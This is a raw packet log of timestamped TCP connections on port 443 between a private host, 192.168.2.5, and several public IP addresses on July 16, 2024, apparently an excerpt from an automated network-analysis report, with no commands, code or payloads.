Jul 16, 2024 13:06:54.906320095 CEST	49724	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:54.906337976 CEST	443	49724	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:54.906429052 CEST	49724	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:54.907361031 CEST	49724	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:54.907588959 CEST	49724	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:54.907603979 CEST	443	49724	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:54.907702923 CEST	443	49724	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:54.907780886 CEST	49724	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:54.907798052 CEST	443	49724	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:54.918903112 CEST	49718	443	192.168.2.5	142.250.185.196
Jul 16, 2024 13:06:54.921989918 CEST	443	49719	52.108.11.12	192.168.2.5
Jul 16, 2024 13:06:54.922032118 CEST	443	49719	52.108.11.12	192.168.2.5
Jul 16, 2024 13:06:54.922107935 CEST	49719	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:06:54.922172070 CEST	443	49719	52.108.11.12	192.168.2.5
Jul 16, 2024 13:06:54.922241926 CEST	49719	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:06:54.922626972 CEST	443	49719	52.108.11.12	192.168.2.5
Jul 16, 2024 13:06:54.922703028 CEST	443	49719	52.108.11.12	192.168.2.5
Jul 16, 2024 13:06:54.922749996 CEST	49719	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:06:54.923352957 CEST	49719	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:06:54.923388004 CEST	443	49719	52.108.11.12	192.168.2.5
Jul 16, 2024 13:06:54.923413992 CEST	49719	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:06:54.923456907 CEST	49719	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:06:54.925508976 CEST	443	49721	52.108.11.12	192.168.2.5
Jul 16, 2024 13:06:54.925534010 CEST	443	49721	52.108.11.12	192.168.2.5
Jul 16, 2024 13:06:54.925604105 CEST	49721	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:06:54.925637960 CEST	443	49721	52.108.11.12	192.168.2.5
Jul 16, 2024 13:06:54.925685883 CEST	49721	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:06:54.926316977 CEST	443	49721	52.108.11.12	192.168.2.5
Jul 16, 2024 13:06:54.926408052 CEST	443	49721	52.108.11.12	192.168.2.5
Jul 16, 2024 13:06:54.926457882 CEST	49721	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:06:54.926731110 CEST	49721	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:06:54.926747084 CEST	443	49721	52.108.11.12	192.168.2.5
Jul 16, 2024 13:06:54.926749945 CEST	443	49720	52.108.11.12	192.168.2.5
Jul 16, 2024 13:06:54.926845074 CEST	443	49720	52.108.11.12	192.168.2.5
Jul 16, 2024 13:06:54.926883936 CEST	49720	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:06:54.929379940 CEST	49720	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:06:54.929395914 CEST	443	49720	52.108.11.12	192.168.2.5
Jul 16, 2024 13:06:54.950171947 CEST	49724	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:55.047466993 CEST	443	49723	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:55.047580004 CEST	49723	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:55.047600985 CEST	443	49723	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:55.047645092 CEST	49723	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:55.047667027 CEST	443	49723	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:55.047729015 CEST	49723	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:55.048791885 CEST	49723	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:55.048811913 CEST	443	49723	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:55.093427896 CEST	443	49724	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:55.093457937 CEST	443	49724	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:55.093497038 CEST	443	49724	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:55.093502998 CEST	49724	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:55.093563080 CEST	49724	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:55.093580961 CEST	443	49724	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:55.093626976 CEST	49724	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:55.094976902 CEST	443	49724	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:55.094996929 CEST	443	49724	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:55.095043898 CEST	49724	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:55.095053911 CEST	443	49724	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:55.142637968 CEST	49724	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:55.142647028 CEST	443	49724	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:55.180340052 CEST	443	49724	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:55.180366039 CEST	443	49724	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:55.180409908 CEST	49724	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:55.180419922 CEST	443	49724	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:55.180449963 CEST	49724	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:55.181442022 CEST	443	49724	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:55.181462049 CEST	443	49724	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:55.181479931 CEST	443	49724	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:55.181489944 CEST	49724	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:55.181505919 CEST	443	49724	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:55.181520939 CEST	49724	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:55.182851076 CEST	443	49724	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:55.182869911 CEST	443	49724	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:55.182908058 CEST	49724	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:55.182914972 CEST	443	49724	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:55.183965921 CEST	443	49724	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:55.184003115 CEST	443	49724	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:55.184027910 CEST	49724	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:55.184034109 CEST	443	49724	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:55.184072971 CEST	49724	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:55.195666075 CEST	443	49726	184.28.90.27	192.168.2.5
Jul 16, 2024 13:06:55.195744038 CEST	49726	443	192.168.2.5	184.28.90.27
Jul 16, 2024 13:06:55.198736906 CEST	49726	443	192.168.2.5	184.28.90.27
Jul 16, 2024 13:06:55.198753119 CEST	443	49726	184.28.90.27	192.168.2.5
Jul 16, 2024 13:06:55.199157000 CEST	443	49726	184.28.90.27	192.168.2.5
Jul 16, 2024 13:06:55.206880093 CEST	49674	443	192.168.2.5	23.1.237.91
Jul 16, 2024 13:06:55.233709097 CEST	49726	443	192.168.2.5	184.28.90.27
Jul 16, 2024 13:06:55.234292030 CEST	49724	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:55.250142097 CEST	49675	443	192.168.2.5	23.1.237.91
Jul 16, 2024 13:06:55.268081903 CEST	443	49724	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:55.268106937 CEST	443	49724	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:55.268122911 CEST	443	49724	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:55.268160105 CEST	49724	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:55.268193007 CEST	49724	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:55.268203974 CEST	443	49724	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:55.268534899 CEST	443	49724	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:55.268554926 CEST	443	49724	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:55.268606901 CEST	49724	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:55.268613100 CEST	443	49724	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:55.268678904 CEST	443	49724	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:55.268712044 CEST	443	49724	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:55.268731117 CEST	49724	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:55.268734932 CEST	443	49724	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:55.268752098 CEST	49724	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:55.268774986 CEST	443	49724	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:55.268826008 CEST	49724	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:55.268831015 CEST	443	49724	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:55.272656918 CEST	443	49724	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:55.272712946 CEST	49724	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:55.272718906 CEST	443	49724	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:55.272759914 CEST	49724	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:55.273257017 CEST	443	49724	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:55.273350000 CEST	443	49724	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:55.273360014 CEST	49724	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:55.273374081 CEST	443	49724	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:55.273396969 CEST	49724	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:55.274291039 CEST	443	49724	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:55.274349928 CEST	49724	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:55.274355888 CEST	443	49724	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:55.275332928 CEST	443	49724	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:55.275393963 CEST	49724	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:55.275399923 CEST	443	49724	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:55.276354074 CEST	443	49724	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:55.276416063 CEST	49724	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:55.276423931 CEST	443	49724	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:55.276499033 CEST	443	49726	184.28.90.27	192.168.2.5
Jul 16, 2024 13:06:55.318312883 CEST	49724	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:55.352549076 CEST	443	49724	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:55.352560043 CEST	443	49724	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:55.352626085 CEST	49724	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:55.352632999 CEST	443	49724	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:55.353163958 CEST	443	49724	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:55.353192091 CEST	443	49724	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:55.353212118 CEST	49724	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:55.353216887 CEST	443	49724	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:55.353256941 CEST	49724	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:55.353648901 CEST	443	49724	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:55.353708029 CEST	49724	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:55.353713036 CEST	443	49724	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:55.353749037 CEST	49724	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:55.354594946 CEST	443	49724	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:55.354652882 CEST	49724	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:55.354656935 CEST	443	49724	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:55.357979059 CEST	443	49724	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:55.358040094 CEST	49724	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:55.358045101 CEST	443	49724	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:55.358551025 CEST	443	49724	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:55.358612061 CEST	49724	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:55.358617067 CEST	443	49724	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:55.359051943 CEST	443	49724	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:55.359446049 CEST	49724	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:55.359451056 CEST	443	49724	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:55.359776974 CEST	443	49724	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:55.359895945 CEST	49724	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:55.359900951 CEST	443	49724	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:55.359957933 CEST	443	49724	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:55.360029936 CEST	49724	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:55.360033989 CEST	443	49724	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:55.360898972 CEST	443	49724	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:55.360965014 CEST	49724	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:55.360970020 CEST	443	49724	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:55.361825943 CEST	443	49724	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:55.361893892 CEST	49724	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:55.361898899 CEST	443	49724	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:55.361923933 CEST	443	49724	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:55.361984968 CEST	49724	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:55.361989975 CEST	443	49724	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:55.362257004 CEST	443	49724	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:55.362401009 CEST	49724	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:55.401149035 CEST	49724	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:55.401165962 CEST	443	49724	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:55.462403059 CEST	443	49726	184.28.90.27	192.168.2.5
Jul 16, 2024 13:06:55.462563992 CEST	443	49726	184.28.90.27	192.168.2.5
Jul 16, 2024 13:06:55.462641001 CEST	49726	443	192.168.2.5	184.28.90.27
Jul 16, 2024 13:06:55.470654011 CEST	49726	443	192.168.2.5	184.28.90.27
Jul 16, 2024 13:06:55.470679998 CEST	443	49726	184.28.90.27	192.168.2.5
Jul 16, 2024 13:06:55.470691919 CEST	49726	443	192.168.2.5	184.28.90.27
Jul 16, 2024 13:06:55.470698118 CEST	443	49726	184.28.90.27	192.168.2.5
Jul 16, 2024 13:06:55.520467997 CEST	49673	443	192.168.2.5	23.1.237.91
Jul 16, 2024 13:06:55.563090086 CEST	49730	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:55.563117027 CEST	443	49730	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:55.563414097 CEST	49730	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:55.564505100 CEST	49730	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:55.564517975 CEST	443	49730	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:55.740508080 CEST	49736	443	192.168.2.5	184.28.90.27
Jul 16, 2024 13:06:55.740526915 CEST	443	49736	184.28.90.27	192.168.2.5
Jul 16, 2024 13:06:55.740597963 CEST	49736	443	192.168.2.5	184.28.90.27
Jul 16, 2024 13:06:55.756155968 CEST	49736	443	192.168.2.5	184.28.90.27
Jul 16, 2024 13:06:55.756172895 CEST	443	49736	184.28.90.27	192.168.2.5
Jul 16, 2024 13:06:55.848881960 CEST	49737	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:06:55.848923922 CEST	443	49737	52.108.11.12	192.168.2.5
Jul 16, 2024 13:06:55.848995924 CEST	49737	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:06:55.849586964 CEST	49737	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:06:55.849602938 CEST	443	49737	52.108.11.12	192.168.2.5
Jul 16, 2024 13:06:56.138154030 CEST	443	49730	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:56.138971090 CEST	49730	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:56.138986111 CEST	443	49730	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:56.140180111 CEST	443	49730	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:56.141833067 CEST	49730	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:56.142011881 CEST	443	49730	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:56.143232107 CEST	49730	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:56.143301964 CEST	443	49730	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:56.305946112 CEST	443	49730	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:56.306030989 CEST	49730	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:56.306175947 CEST	443	49730	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:56.306242943 CEST	443	49730	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:56.306463003 CEST	49730	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:56.307094097 CEST	49730	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:56.307113886 CEST	443	49730	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:56.307158947 CEST	49730	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:56.307158947 CEST	49730	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:56.392755032 CEST	49741	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:06:56.392785072 CEST	443	49741	52.108.11.12	192.168.2.5
Jul 16, 2024 13:06:56.392919064 CEST	49741	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:06:56.393210888 CEST	49741	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:06:56.393225908 CEST	443	49741	52.108.11.12	192.168.2.5
Jul 16, 2024 13:06:56.405349970 CEST	443	49736	184.28.90.27	192.168.2.5
Jul 16, 2024 13:06:56.405431032 CEST	49736	443	192.168.2.5	184.28.90.27
Jul 16, 2024 13:06:56.407896042 CEST	49736	443	192.168.2.5	184.28.90.27
Jul 16, 2024 13:06:56.407908916 CEST	443	49736	184.28.90.27	192.168.2.5
Jul 16, 2024 13:06:56.408778906 CEST	443	49736	184.28.90.27	192.168.2.5
Jul 16, 2024 13:06:56.411087990 CEST	49736	443	192.168.2.5	184.28.90.27
Jul 16, 2024 13:06:56.415834904 CEST	443	49737	52.108.11.12	192.168.2.5
Jul 16, 2024 13:06:56.416313887 CEST	49737	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:06:56.416321993 CEST	443	49737	52.108.11.12	192.168.2.5
Jul 16, 2024 13:06:56.417901993 CEST	443	49737	52.108.11.12	192.168.2.5
Jul 16, 2024 13:06:56.417956114 CEST	49737	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:06:56.417963028 CEST	443	49737	52.108.11.12	192.168.2.5
Jul 16, 2024 13:06:56.418040037 CEST	49737	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:06:56.418654919 CEST	49737	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:06:56.418745041 CEST	443	49737	52.108.11.12	192.168.2.5
Jul 16, 2024 13:06:56.446538925 CEST	49737	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:06:56.446547031 CEST	443	49737	52.108.11.12	192.168.2.5
Jul 16, 2024 13:06:56.452500105 CEST	443	49736	184.28.90.27	192.168.2.5
Jul 16, 2024 13:06:56.498682022 CEST	49737	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:06:56.554542065 CEST	443	49737	52.108.11.12	192.168.2.5
Jul 16, 2024 13:06:56.554693937 CEST	443	49737	52.108.11.12	192.168.2.5
Jul 16, 2024 13:06:56.554745913 CEST	49737	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:06:56.604021072 CEST	49737	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:06:56.604053974 CEST	443	49737	52.108.11.12	192.168.2.5
Jul 16, 2024 13:06:56.679121971 CEST	443	49736	184.28.90.27	192.168.2.5
Jul 16, 2024 13:06:56.679212093 CEST	443	49736	184.28.90.27	192.168.2.5
Jul 16, 2024 13:06:56.679275990 CEST	49736	443	192.168.2.5	184.28.90.27
Jul 16, 2024 13:06:56.679972887 CEST	49736	443	192.168.2.5	184.28.90.27
Jul 16, 2024 13:06:56.679996967 CEST	443	49736	184.28.90.27	192.168.2.5
Jul 16, 2024 13:06:56.680011988 CEST	49736	443	192.168.2.5	184.28.90.27
Jul 16, 2024 13:06:56.680017948 CEST	443	49736	184.28.90.27	192.168.2.5
Jul 16, 2024 13:06:57.163057089 CEST	443	49703	23.1.237.91	192.168.2.5
Jul 16, 2024 13:06:57.163214922 CEST	49703	443	192.168.2.5	23.1.237.91
Jul 16, 2024 13:06:57.189958096 CEST	443	49741	52.108.11.12	192.168.2.5
Jul 16, 2024 13:06:57.190340996 CEST	49741	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:06:57.190351009 CEST	443	49741	52.108.11.12	192.168.2.5
Jul 16, 2024 13:06:57.191828012 CEST	443	49741	52.108.11.12	192.168.2.5
Jul 16, 2024 13:06:57.191879988 CEST	49741	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:06:57.191886902 CEST	443	49741	52.108.11.12	192.168.2.5
Jul 16, 2024 13:06:57.191926003 CEST	49741	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:06:57.193555117 CEST	49741	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:06:57.193641901 CEST	443	49741	52.108.11.12	192.168.2.5
Jul 16, 2024 13:06:57.193662882 CEST	49741	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:06:57.240498066 CEST	443	49741	52.108.11.12	192.168.2.5
Jul 16, 2024 13:06:57.243108988 CEST	49741	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:06:57.243133068 CEST	443	49741	52.108.11.12	192.168.2.5
Jul 16, 2024 13:06:57.283461094 CEST	49741	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:06:57.309298038 CEST	49748	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:57.309325933 CEST	443	49748	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:57.309536934 CEST	49748	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:57.313564062 CEST	49749	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:57.313612938 CEST	443	49749	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:57.313663006 CEST	49749	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:57.381690025 CEST	49749	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:57.381717920 CEST	443	49749	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:57.381978035 CEST	49748	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:57.381989002 CEST	443	49748	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:57.581660986 CEST	443	49741	52.108.11.12	192.168.2.5
Jul 16, 2024 13:06:57.581680059 CEST	443	49741	52.108.11.12	192.168.2.5
Jul 16, 2024 13:06:57.581716061 CEST	443	49741	52.108.11.12	192.168.2.5
Jul 16, 2024 13:06:57.581746101 CEST	49741	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:06:57.581763983 CEST	443	49741	52.108.11.12	192.168.2.5
Jul 16, 2024 13:06:57.581774950 CEST	49741	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:06:57.581795931 CEST	443	49741	52.108.11.12	192.168.2.5
Jul 16, 2024 13:06:57.584258080 CEST	49741	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:06:57.936676025 CEST	443	49749	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:57.955754995 CEST	443	49748	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:57.957695007 CEST	49749	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:57.957724094 CEST	443	49749	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:57.958606005 CEST	443	49749	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:57.959728003 CEST	49748	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:57.959743977 CEST	443	49748	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:57.960093975 CEST	443	49748	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:57.978507042 CEST	49749	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:57.978674889 CEST	443	49749	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:57.980155945 CEST	49748	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:57.980237007 CEST	443	49748	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:57.981734991 CEST	49749	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:57.981781960 CEST	443	49749	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:57.982162952 CEST	49748	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:57.982196093 CEST	443	49748	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:57.982253075 CEST	49748	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:57.982266903 CEST	443	49748	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:58.104638100 CEST	49741	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:06:58.104682922 CEST	443	49741	52.108.11.12	192.168.2.5
Jul 16, 2024 13:06:58.144946098 CEST	443	49749	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:58.145006895 CEST	49749	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:58.145035982 CEST	443	49749	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:58.145059109 CEST	443	49749	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:58.145102024 CEST	49749	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:58.148195982 CEST	49749	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:58.148215055 CEST	443	49749	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:58.415157080 CEST	49758	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:06:58.415174961 CEST	443	49758	52.108.11.12	192.168.2.5
Jul 16, 2024 13:06:58.415441990 CEST	49758	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:06:58.415642977 CEST	49758	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:06:58.415653944 CEST	443	49758	52.108.11.12	192.168.2.5
Jul 16, 2024 13:06:58.686062098 CEST	443	49748	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:58.686088085 CEST	443	49748	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:58.686161995 CEST	49748	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:58.686177015 CEST	443	49748	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:58.686217070 CEST	49748	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:58.686660051 CEST	443	49748	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:58.686670065 CEST	443	49748	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:58.686736107 CEST	49748	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:58.686741114 CEST	443	49748	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:58.686750889 CEST	443	49748	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:58.686805964 CEST	49748	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:58.686810970 CEST	443	49748	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:58.686866045 CEST	49748	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:58.776458025 CEST	443	49748	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:58.776541948 CEST	49748	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:58.776562929 CEST	443	49748	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:58.777123928 CEST	443	49748	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:58.777190924 CEST	49748	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:06:58.777204037 CEST	443	49748	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:58.777955055 CEST	443	49748	52.108.8.12	192.168.2.5
Jul 16, 2024 13:06:58.778016090 CEST	49748	443	192.168.2.5	52.108.8.12
